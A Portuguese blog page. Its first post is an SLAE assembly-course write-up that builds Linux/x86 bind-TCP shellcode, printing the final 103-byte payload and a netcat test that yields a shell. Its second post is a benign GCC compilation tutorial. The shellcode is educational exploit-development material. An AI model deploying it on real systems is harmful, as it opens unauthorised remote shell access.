Tradutor

Mostrando postagens com marcador reverse engineering. Mostrar todas as postagens
Mostrando postagens com marcador reverse engineering. Mostrar todas as postagens

sábado, 16 de março de 2013

SLAE - 1st Assignment - Shell Bind TCP

Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software. Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st assignment do curso SecurityTube Linux Assembly Expert, necessário para obtenção da certificação SLAE.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237


<UPDATE>
   O shellcode final foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>



Assembly (Mighty and Tiny)

Decidi fazer algo que já deveria ter feito há muito tempo: aprender “a linguagem” assembly. E é que o curso do Vivek Ramachandran surgiu em boa hora. Com uma didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.

Nas instruções do exame, Vivek especifica que esta primeira missão é:
Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
 
Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é muito bom, pois força o aprendizado.


Desovando um Shell via TCP

Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o payload do Metasploit:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000

O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C:
 



int dup2(int oldfd=19, int newfd=0);

[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013

[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx




int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;


Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
 

É gerado um arquivo dot que pode ser facilmente convertido em png:

# dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
 


Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções. Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo programa em C.


 

Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:

# objdump -d -M intel shell_bind_tcp_c



080485bc <main>:
80485bc: 55                     push ebp
80485bd: 89 e5                  mov ebp,esp
80485bf: 83 e4 f0               and esp,0xfffffff0
80485c2: 83 ec 50               sub esp,0x50
80485c5: 65 a1 14 00 00 00      mov eax,gs:0x14
80485cb: 89 44 24 4c            mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0                  xor eax,eax
80485d1: c7 44 24 30 67 2b 00   mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00   mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00   mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00   mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff         call 80484c0 <socket@plt>
 




O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.


Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:


 

Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.

Os códigosfuncionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.


Evitando-se SIGSEGV (Yep, Metasploit has it)

Os mais atentos já devem ter percebido que há, tanto no código C, quanto no assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A setsockopt. 

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

mov eax, 102            ; syscall 102 – socketcall
mov ebx, 14             ; socketcall type (sys_setsockopt 14)


Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).

O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.

Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.



Enxugando o Shellcode (smallest as possible)

Extraindo os opcodes do meu shell_bind_tcp (asm):

# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00

 
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"


# echo -n "\xb8\x66...\xcd\x80" | wc -m
720


720 / 4 = 180 bytes

Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.




E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode, o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in (argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode, valeu a pena.

A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR +15 bytes.

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
 

Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para modificá-la no shellcode, o respectivo número deve ser convertido em hexadecimal. Exemplo:

# printf "%x\n" 40001

9c41

# printf "%d\n" 0x9c41
40001 

40001 -> 9c41 -> /x9c/x41

TESTANDO

 

# .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode

Em outro terminal (cliente):
 
# nc 127.0.0.1 11111
pwd
/home/uzumaki 
netstat -lp | grep /sh      
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp     0   0 *:11111              *:*                 LISTEN   5946/sh

 

Um Novo Shell (the chosen one)

Nessa missão, foi construído um shellcode Shell Bind TCP (Linux/x86) com porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar! 

P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Assim, farei as devidas alterações colocando os créditos.

[]




Mais Informações 

SLAE - SecurityTube Linux Assembly Expert
SecurityTube
libemu
Metasploit 
Metasploit Unleashed - Offensive Security
Berkeley Sockets 
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One 
Get all shellcode on binary  - commandlinefu

quarta-feira, 23 de janeiro de 2013

(Des)construindo Software

“A Engenharia Reversa é o processo de extrair conhecimento ou design de algo feito pelo homem (…) O Software é uma das mais complexas e intrigantes tecnologias dentre nós nos dias de hoje. Sua engenharia reversa se trata de abrir o programa e olhá-lo por dentro. Claro, nós não precisamos de nenhuma chave de fenda nesta jornada. Da mesma forma que a engenharia de software, seu reverso é puramente um processo virtual envolvendo apenas um processador e a mente humana.” Reversing – Secrets of Reverse Engineering – Eldad Eilam

Antes de nos debruçarmos na reversão em si, é importante sabermos como se dá o processo de engendramento do software binário.

Para a sua construção, faz-se necessária (a não ser que vocês sejam masoquistas e queiram construir em código de máquina) uma linguagem de programação. Essa se traduz como um método padronizado para informar instruções a um processador. Cada linguagem detém sua própria padronização assim como seu nível de abstração (baixo, médio e alto).

Na sequência, são destacados os procedimentos demandados para a transformação do código escrito em um bloco de instruções “entendível” aos olhos do computador.


Construção de Software

A construção ou compilação é um processo de vários estágios que envolve várias ferramentas. No nosso caso, as ferramentas usadas serão o front-end gcc (GNU Compiler), o cc1 (C Compiler), o as (GNU Assembler), o collect2 (ld wrapper), e o ld (GNU Linker). O conjunto completo de ferramentas utilizadas no processo de compilação é chamado toolchain, que, quase que por padrão, já vem instalado nas distribuições GNU/Linux. A criação de toolchains específicas são primordiais para o cross-compiling, mas esse assunto fica para um post futuro.

Durante uma invocação do GCC a sequência de comandos executadas percorre os seguintes estágios:

- pré-processamento (expansão de macros)
- compilação (do código fonte para linguagem assembly)
- assembler (de linguagem assembly para código de máquina)
- linking (criação do binário final)


Criemos como exemplo um programa minimalista em C com o famoso Hello World.

# mkdir construindo; cd construindo
# echo -e "#include <stdio.h>\nint main() { printf(\"Hello World\\\n\"); return 0;}" > programa1.c

Para esta compilação, usemos o gcc.

# gcc programa1.c -o programa1

Ao rodar o gcc, as etapas de pré-processamento, compilação, assembly e linking são efetuadas uma após a outra de forma transparente, até que o binário ELF 'programa1' seja criado.

# ./programa1
Hello World

Em seguida, para melhor entendimento, percorreremos cada fase manualmente.


Pré-processamento e Compilação

Pré-processamento

Em versões passadas do gcc, o pré-processamento era feito como um estágio em separado através do cpp (C Preprocessor):

# cpp programa1.c -o programa1.i

A saída era um arquivo com as macros expandidas e declarações de arquivos header incluídas. O pré-processador, em verdade, traduzia a abstração média da linguagem C (na qual programamos) para uma reconhecível à próxima etapa da compilação.

# 1 "programa1.c"
# 1 "<command-line>"
# 1 "programa1.c"
# 1 "/usr/include/stdio.h" 1 3 4
# 28 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
...
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__$
# 940 "/usr/include/stdio.h" 3 4
# 2 "programa1.c" 2
int main(void) { printf("Hello World\n"); return 0;}

Esse primeiro estágio, atualmente, é incorporado pelo compilador cc1 quando usado com opções default; ou seja, geralmente é omitido.

# gcc programa1.c -o programa1 -v
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/ccZvPRPS.s
...

Como pode ser visto no modo verboso (detalhado), o cc1 efetua o pré-processamento e compilação, gerando diretamente o arquivo assembly. De toda forma podemos fazer com que o cc1 seja invocado duas vezes, com o uso da opção -no-integrated-cpp; primeiramente para o pré-processamento, gerando o arquivo expandido (*.i) e posteriormente para a compilação, gerando o arquivo para montagem (*.s). Tal procedimento é útil quando se pretende utilizar um pré-processador alternativo, por exemplo.

# gcc programa1.c -o programa1 -v -no-integrated-cpp
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -mtune=generic -march=x86-64 -fstack-protector -o /tmp/ccjNwBsL.i
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed /tmp/ccjNwBsL.i -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/cc0B4fmf.s
...

Podemos, também, interromper o processo do gcc, invocando o cc1 apenas uma vez com o intuito de gerarmos o arquivo (*.i) pré-processado.

# gcc programa1.c -o programa1.i  -v -E
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -o programa1.i -mtune=generic -march=x86-64 -fstack-protector
...

Para isso utilizamos a opção '-E'.


Compilação

O objetivo principal do uso do cc1, através ou não do arquivo expandido (programa1.i), é gerar o respectivo código assembly, linguagem de baixo nível.

# gcc programa1.i -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed programa1.i -quiet -dumpbase programa1.i -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

# gcc programa1.c -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

A opção '-S', instrui o gcc a apenas converter o código C, pré-processado ou não, para a linguagem de montagem (programa1.s).

.file "programa1.c"
.section .rodata
.LC0:
.string "Hello World"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl $.LC0, %edi
call puts
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2"
.section .note.GNU-stack,"",@progbits

Atenção! O código assembly pode estar diferente do gerado em seu computador. Essa divergência pode ter sido ocasionada por vários motivos: versão do GCC; arquitetura utilizada; flags de compilação.

Para gerar o respectivo código em 32 bits, basta utilizar a opção -m32.

# gcc programa1.i -S -m32

ou

# gcc programa1.c -S -m32

Vejam a diferença:

.LFB0:
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
andl $-16, %esp
subl $16, %esp
movl $.LC0, (%esp)call puts
movl $0, %eax
leave
.cfi_restore 5
cfi_def_cfa 4, 4ret
.cfi_endproc


Assembler (Montador)

Na montagem, o código assembly é convertido nas suas instruções correlatas em código de máquina. O resultado é um arquivo-objeto (object file).

# gcc programa1.s -o programa1.o -v -c
...
 as -v --64 -o programa1.o programa1.s
...

# gcc programa1.s -o programa1.o -v -m32 -c
...
 as -v --32 -o programa1.o programa1.s
...

A opção '-c' faz com o gcc apenas compile ou monte o arquivo fonte, mas não o linque.

Como visto acima, o as faz a montagem do binário usando o arquivo assembly (programa1.s). Ao rodarmos o file contra o arquivo-objeto construído, podemos verificar a estrutura ELF.

# file programa1.o
programa1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

programa1.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Entretanto, como o processo de compilação ainda não foi finalizado, ao tentarmos executá-lo recebemos a mensagem de que é impossível executar o arquivo binário. Ao usarmos o ltrace (ferramenta de análise de chamadas à bibliotecas) recebemos a mensagem "./programa1.o is not an ELF executable nor shared library.". O assembler construiu o bloco de instruções binárias para a arquitetura, contudo não definiu os endereços referentes às funções externas, assim como não relocou o binário para a correta execução.


Linking

Até então o arquivo-objeto montado não sabe para onde olhar (endereço das funções necessárias ao correto funcionamento). O Linking ou lincagem é, neste caso, o procedimento de aglutinação de arquivos-objeto, resolução de símbolos e relocação das seções e respectivos endereços do binário outrora gerado.

Vejamos.

# gcc programa1.o -o programa1 -v
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../x86_64-linux-gnu/crtn.o
...

ou

# gcc programa1.o -o programa1 -v -m32
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/collect2 --sysroot=/ --build-id --no-add-needed --as-needed --eh-frame-hdr -m elf_i386 --hash-style=gnu -dynamic-linker /lib/ld-linux.so.2 -z relro -o programa1 /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crt1.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crti.o /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/4.7/32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32 -L/lib/i386-linux-gnu -L/lib/../lib32 -L/usr/lib/i386-linux-gnu -L/usr/lib/../lib32 -L/usr/lib/gcc/x86_64-linux-gnu/4.7 -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../../i386-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/4.7/../../.. -L/lib/i386-linux-gnu -L/usr/lib/i386-linux-gnu programa1.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/4.7/32/crtend.o /usr/lib/gcc/x86_64-linux-gnu/4.7/../../../../lib32/crtn.o
...

O que o gcc realmente faz é invocar o collect2 (wrapper  para o ld (binutils)) informando todos os arquivos-objeto que devem ser lincados.

É verdade que o ld pode ser utilizado diretamente; de toda sorte, o gcc/collect2 já informa todas as libs necessárias para o linking, o que facilita bastante.

Após terminado o processo, é possível verificar que o executável está devidamente lincado.

# file programa1
programa1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa0c...bf73, not stripped

programa1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe07...8df3, not stripped

E, finalmente, executá-lo.

# ./programa1
Hello World


Conclusão

Pudemos, neste post, acompanhar de forma breve o processo de construção de um executável ELF, exemplificando os respectivos procedimentos no ambiente GNU/Linux através do GCC. No próximo, iniciaremos uma abordagem prática da engenharia reversa que possibilitará um entendimento objetivo da estrutura ELF, assim como do método e das ferramentas utilizadas na reversão.

Até lá!


Mais Informações

Reversing – Secrets of Reverse Engineering – Eldad Eilam
Reverse Engineering
A Introduction to GCC – Brian Gough
Compiler, Assembler, Linker and Loader: A Brief Story
Basics of GCC compilation process
GNU C Compiler Internals/GNU C Compiler Architecture
GCC front-end Whitepaper - Andi Hellmund
Programming language
List of programming languages by type
C (programming language)
Low-level programming language
Assembly Language
Machine code
Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.